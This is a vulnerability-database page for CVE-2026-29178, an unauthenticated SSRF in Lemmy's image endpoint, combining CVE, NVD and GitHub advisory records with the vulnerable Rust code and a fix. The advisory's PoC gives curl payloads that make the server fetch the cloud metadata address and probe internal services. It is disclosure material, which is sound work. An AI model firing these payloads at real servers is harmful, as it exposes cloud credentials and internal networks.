Vulnerability-Lookup

CVE-2026-29178 (GCVE-0-2026-29178)

Vulnerability from cvelistv5 – Published: 2026-03-06 17:56 – Updated: 2026-03-06 18:33

Title

Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint

Summary

Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16.

Severity

7.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-06 18:33 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7637 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/LemmyNet/lemmy/security/adviso…	x_refsource_CONFIRM
https://github.com/LemmyNet/lemmy/commit/f47a03f5…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
LemmyNet	lemmy	Affected: < 0.19.16	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-29178",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-06T18:33:04.955735Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-06T18:33:08.993Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "lemmy",
          "vendor": "LemmyNet",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.19.16"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-06T17:56:09.378Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
        },
        {
          "name": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"
        }
      ],
      "source": {
        "advisory": "GHSA-jvxv-2jjp-jxc3",
        "discovery": "UNKNOWN"
      },
      "title": "Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-29178",
    "datePublished": "2026-03-06T17:56:09.378Z",
    "dateReserved": "2026-03-04T14:44:00.713Z",
    "dateUpdated": "2026-03-06T18:33:08.993Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-29178",
      "date": "2026-10-14",
      "epss": "0.00438",
      "percentile": "0.36472"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "lemmy",
                "vendor": "LemmyNet",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.19.16"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16."
          },
          {
            "lang": "es",
            "value": "Lemmy, un agregador de enlaces y foro para el fediverso, es vulnerable a la falsificaci\u00f3n de petici\u00f3n del lado del servidor a trav\u00e9s de una dependencia de activitypub_federation, un framework para la federaci\u00f3n de ActivityPub en Rust. Antes de la versi\u00f3n 0.19.16, el endpoint GET /API/v4/image/{filename} es vulnerable a SSRF no autenticado a trav\u00e9s de la inyecci\u00f3n de par\u00e1metros en el par\u00e1metro de consulta file_type. Un atacante puede inyectar par\u00e1metros de consulta arbitrarios en la petici\u00f3n interna a pict-rs, incluyendo el par\u00e1metro proxy que hace que pict-rs obtenga URLs arbitrarias. Este problema ha sido parcheado en la versi\u00f3n 0.19.16."
          }
        ],
        "id": "CVE-2026-29178",
        "lastModified": "2026-06-17T10:29:43.650",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 7.7,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "PROOF_OF_CONCEPT",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-29178",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-06T18:33:04.955735Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-03-06T18:16:20.650",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-918"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-03-27T07:47:45+00:00",
      "cve": "CVE-2026-29178",
      "id": "CVE-2026-29178",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29178.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-29178",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-03-06T18:33:04.955735Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-03-06T18:32:57.675Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "lemmy",
              "vendor": "LemmyNet",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.19.16"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 7.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918: Server-Side Request Forgery (SSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-03-06T17:56:09.378Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
            },
            {
              "name": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"
            }
          ],
          "source": {
            "advisory": "GHSA-jvxv-2jjp-jxc3",
            "discovery": "UNKNOWN"
          },
          "title": "Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-29178",
        "datePublished": "2026-03-06T17:56:09.378Z",
        "dateReserved": "2026-03-04T14:44:00.713Z",
        "dateUpdated": "2026-03-06T18:33:08.993Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-29178

Vulnerability from fkie_nvd - Published: 2026-03-06 18:16 - Updated: 2026-06-17 10:29

Severity

7.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871
	security-advisories@github.com	https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "lemmy",
          "vendor": "LemmyNet",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.19.16"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16."
    },
    {
      "lang": "es",
      "value": "Lemmy, un agregador de enlaces y foro para el fediverso, es vulnerable a la falsificaci\u00f3n de petici\u00f3n del lado del servidor a trav\u00e9s de una dependencia de activitypub_federation, un framework para la federaci\u00f3n de ActivityPub en Rust. Antes de la versi\u00f3n 0.19.16, el endpoint GET /API/v4/image/{filename} es vulnerable a SSRF no autenticado a trav\u00e9s de la inyecci\u00f3n de par\u00e1metros en el par\u00e1metro de consulta file_type. Un atacante puede inyectar par\u00e1metros de consulta arbitrarios en la petici\u00f3n interna a pict-rs, incluyendo el par\u00e1metro proxy que hace que pict-rs obtenga URLs arbitrarias. Este problema ha sido parcheado en la versi\u00f3n 0.19.16."
    }
  ],
  "id": "CVE-2026-29178",
  "lastModified": "2026-06-17T10:29:43.650",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-29178",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-06T18:33:04.955735Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-06T18:16:20.650",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-JVXV-2JJP-JXC3

Vulnerability from github – Published: 2026-03-04 20:55 – Updated: 2026-03-06 22:44

Summary

Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint

Details

Summary

The GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs.

Affected code

crates/routes/src/images/download.rs, lines 17-40 (get_image function):

pub async fn get_image(
  filename: Path<String>,
  Query(params): Query<ImageGetParams>,
  req: HttpRequest,
  context: Data<LemmyContext>,
) -> LemmyResult<HttpResponse> {
  let name = &filename.into_inner();
  let pictrs_url = context.settings().pictrs()?.url;
  let processed_url = if params.file_type.is_none() && params.max_size.is_none() {
    format!("{}image/original/{}", pictrs_url, name)
  } else {
    let file_type = file_type(params.file_type, name);
    let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name);
    // ...
  };
  do_get_image(processed_url, req, &context).await
}

The file_type parameter (ImageGetParams.file_type: Option<String>) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's /image/process.{ext} endpoint supports a ?proxy={url} parameter for fetching remote images, an attacker can inject ?proxy=... via file_type to make pict-rs fetch arbitrary URLs.

This endpoint does not require authentication (no LocalUserView extractor).

PoC

# Basic SSRF - make pict-rs fetch AWS metadata endpoint
# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=
# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything

curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'

# Scan internal services on the Docker network
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'

# The same issue exists in the image_proxy endpoint, but it requires the
# proxy URL to exist in the remote_image table (RemoteImage::validate check),
# making it harder to exploit.

The response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.

Impact

An unauthenticated attacker can: - Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service - Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.) - Bypass the RemoteImage::validate() check that protects the image_proxy endpoint

Suggested Fix

Validate the file_type parameter to only allow alphanumeric characters:

fn file_type(file_type: Option<String>, name: &str) -> String {
  let ft = file_type
    .unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string());
  if ft.chars().all(|c| c.is_alphanumeric()) {
    ft
  } else {
    "jpg".to_string()
  }
}

Severity

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.19.15"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "lemmy_routes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:55:00Z",
    "nvd_published_at": "2026-03-06T18:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs.\n\n## Affected code\n\n`crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function):\n\n```rust\npub async fn get_image(\n  filename: Path\u003cString\u003e,\n  Query(params): Query\u003cImageGetParams\u003e,\n  req: HttpRequest,\n  context: Data\u003cLemmyContext\u003e,\n) -\u003e LemmyResult\u003cHttpResponse\u003e {\n  let name = \u0026filename.into_inner();\n  let pictrs_url = context.settings().pictrs()?.url;\n  let processed_url = if params.file_type.is_none() \u0026\u0026 params.max_size.is_none() {\n    format!(\"{}image/original/{}\", pictrs_url, name)\n  } else {\n    let file_type = file_type(params.file_type, name);\n    let mut url = format!(\"{}image/process.{}?src={}\", pictrs_url, file_type, name);\n    // ...\n  };\n  do_get_image(processed_url, req, \u0026context).await\n}\n```\n\nThe `file_type` parameter (`ImageGetParams.file_type: Option\u003cString\u003e`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs\u0027s `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs.\n\nThis endpoint does not require authentication (no `LocalUserView` extractor).\n\n## PoC\n\n```bash\n# Basic SSRF - make pict-rs fetch AWS metadata endpoint\n# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=\n# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=?src=anything\n\ncurl -v \u0027https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D\u0027\n\n# Scan internal services on the Docker network\ncurl -v \u0027https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D\u0027\n\n# The same issue exists in the image_proxy endpoint, but it requires the\n# proxy URL to exist in the remote_image table (RemoteImage::validate check),\n# making it harder to exploit.\n```\n\nThe response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.\n\n## Impact\n\nAn unauthenticated attacker can:\n- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service\n- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)\n- Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint\n\n## Suggested Fix\n\nValidate the `file_type` parameter to only allow alphanumeric characters:\n\n```rust\nfn file_type(file_type: Option\u003cString\u003e, name: \u0026str) -\u003e String {\n  let ft = file_type\n    .unwrap_or_else(|| name.split(\u0027.\u0027).next_back().unwrap_or(\"jpg\").to_string());\n  if ft.chars().all(|c| c.is_alphanumeric()) {\n    ft\n  } else {\n    \"jpg\".to_string()\n  }\n}\n```",
  "id": "GHSA-jvxv-2jjp-jxc3",
  "modified": "2026-03-06T22:44:31Z",
  "published": "2026-03-04T20:55:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/lemmy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-29178 (GCVE-0-2026-29178)

FKIE_CVE-2026-29178

GHSA-JVXV-2JJP-JXC3

Summary

Affected code

PoC

Impact

Suggested Fix

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour